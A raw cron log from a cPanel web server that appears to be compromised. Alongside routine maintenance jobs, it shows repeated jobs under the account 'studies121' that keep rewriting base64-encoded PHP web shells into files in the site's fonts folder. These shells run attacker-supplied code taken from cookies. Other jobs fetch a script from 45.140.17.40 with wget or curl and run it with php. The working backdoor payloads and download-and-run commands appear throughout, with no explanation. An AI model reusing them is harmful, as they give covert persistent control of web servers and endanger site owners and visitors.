Aug 31 05:48:01 ip-184-168-122-23 CROND[8256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:48:01 ip-184-168-122-23 CROND[8257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:48:01 ip-184-168-122-23 CROND[8262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:49:01 ip-184-168-122-23 CROND[8411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:49:01 ip-184-168-122-23 CROND[8413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:49:01 ip-184-168-122-23 CROND[8414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:49:01 ip-184-168-122-23 CROND[8415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8596]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:50:01 ip-184-168-122-23 CROND[8601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:50:01 ip-184-168-122-23 CROND[8608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:50:01 ip-184-168-122-23 CROND[8609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:51:01 ip-184-168-122-23 CROND[8803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:51:01 ip-184-168-122-23 CROND[8805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:51:01 ip-184-168-122-23 CROND[8806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:51:01 ip-184-168-122-23 CROND[8807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:52:01 ip-184-168-122-23 CROND[8955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:52:01 ip-184-168-122-23 CROND[8957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:52:01 ip-184-168-122-23 CROND[8958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:52:01 ip-184-168-122-23 CROND[8959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:52:01 ip-184-168-122-23 CROND[8960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:53:01 ip-184-168-122-23 CROND[9081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:53:01 ip-184-168-122-23 CROND[9082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:53:01 ip-184-168-122-23 CROND[9083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:53:01 ip-184-168-122-23 CROND[9084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:54:01 ip-184-168-122-23 CROND[9278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:54:01 ip-184-168-122-23 CROND[9279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:54:01 ip-184-168-122-23 CROND[9280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:54:01 ip-184-168-122-23 CROND[9283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:54:01 ip-184-168-122-23 CROND[9282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:55:01 ip-184-168-122-23 CROND[9402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:55:02 ip-184-168-122-23 CROND[9404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:55:02 ip-184-168-122-23 CROND[9406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:55:02 ip-184-168-122-23 CROND[9408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:55:02 ip-184-168-122-23 CROND[9405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:55:02 ip-184-168-122-23 CROND[9407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:56:01 ip-184-168-122-23 CROND[9517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:56:01 ip-184-168-122-23 CROND[9520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:56:01 ip-184-168-122-23 CROND[9519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:56:01 ip-184-168-122-23 CROND[9522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:56:01 ip-184-168-122-23 CROND[9521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:57:01 ip-184-168-122-23 CROND[9629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:57:01 ip-184-168-122-23 CROND[9631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:57:01 ip-184-168-122-23 CROND[9632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:57:01 ip-184-168-122-23 CROND[9630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:58:01 ip-184-168-122-23 CROND[9741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:58:01 ip-184-168-122-23 CROND[9743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:58:01 ip-184-168-122-23 CROND[9745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:58:01 ip-184-168-122-23 CROND[9747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:58:01 ip-184-168-122-23 CROND[9748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:59:01 ip-184-168-122-23 CROND[9852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:59:01 ip-184-168-122-23 CROND[9854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:59:01 ip-184-168-122-23 CROND[9855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:59:01 ip-184-168-122-23 CROND[9856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:00:01 ip-184-168-122-23 CROND[9996]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 06:00:01 ip-184-168-122-23 CROND[9998]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Aug 31 06:00:01 ip-184-168-122-23 CROND[10000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:00:01 ip-184-168-122-23 CROND[10004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:00:01 ip-184-168-122-23 CROND[10003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:00:01 ip-184-168-122-23 CROND[10005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:00:01 ip-184-168-122-23 CROND[10002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:00:01 ip-184-168-122-23 CROND[10006]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:00:01 ip-184-168-122-23 CROND[10008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
